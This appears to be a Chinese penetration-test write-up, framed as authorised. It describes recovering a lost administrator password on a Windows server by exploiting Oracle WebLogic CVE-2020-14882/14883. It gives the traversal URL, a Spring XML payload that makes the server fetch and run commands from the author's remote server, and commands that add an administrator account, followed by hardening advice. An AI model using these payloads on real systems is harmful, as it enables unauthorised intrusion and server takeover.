《中华人民共和国刑法》
第二百八十五条规定,非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪;提供侵入、非法控制计算机信息系统程序、工具罪是指,违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。
背景说明
本次渗透已获得授权,本文仅用于分享渗透思路,若将本文思路用于违法行为,后果自负!
本次渗透目的用于找回一台服务器密码,因为管理员密码丢失,无法登录和管理此服务器,而停机PE修改密码必然会影响业务运行,因此本次采用渗透方式尝试获取管理员密码。
信息收集
一开始我有想过MS17-010永恒之蓝漏洞和向日葵CNVD-2022-10270/CNVD-2022-03672,可以一击必杀,但现实肯定没这么简单,MS17-010的补丁已经打了,而向日葵这玩意会自动升级。
所以先用Goby全端口全漏洞扫描了一遍
能扫出来的高危漏洞就有5个,这不稳了?
ActiveMQ default admin account
默认管理员密码漏洞,漏洞存在,但是这个组件我不熟悉,没法利用
CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE
BlueKeep这漏洞在我心里就是个蓝屏漏洞,在这里无用武之地
tomcat lfi (CVE-2020-1938)
文件读取、包含,我这里管理员都登陆不上去,所以也没啥用
Weblogic Server RCE (CVE-2021-2109)
远程代码执行漏洞,实现起来有点复杂,先放一下
Oracle WebLogic Unauthenticated Takeover (CVE-2020-14883)
CVE-2020-14882&CVE-2020-14883 Weblogic未授权远程命令执行漏洞,这两个漏洞一般是同时修复,存在一个基本也就存在另一个,两者结合,可以一试
构造POC
查看登录页
http://IP:7001/console/login/LoginForm.jsp
后台越权访问
http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
编写POC.XML,上传到自己的web服务器
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[echo hello > "../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp"]]></value>
</list>
</constructor-arg>
</bean>
</beans>
执行远端XML
http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://我的web服务器/poc.xml")
验证结果
http://IP:7001/console/images/xxx.jsp
稳了!查看当前用户,把POC里的echo hello
改成whoami
,验证结果
system
权限,我焯!
依次构造添加用户并加入管理员组的POC
net user test test /add
net localgroup administrators test /add
直接远程登陆
因为没有管理员密码,所以管理员从未登陆过,使用Mimikatz
获取管理员密码的尝试失败了。
我这里选择修改administrator密码,至此,渗透完成!
修复建议
1、及时更新系统补丁,淘汰已过期的操作系统,如windows2008R2
2、及时更新服务组件,如本文中OracleWebLogic、ActiveMQ、tomcat均存在漏洞
3、安装EDR、部署IPS入侵防御系统,增强系统安全性
评论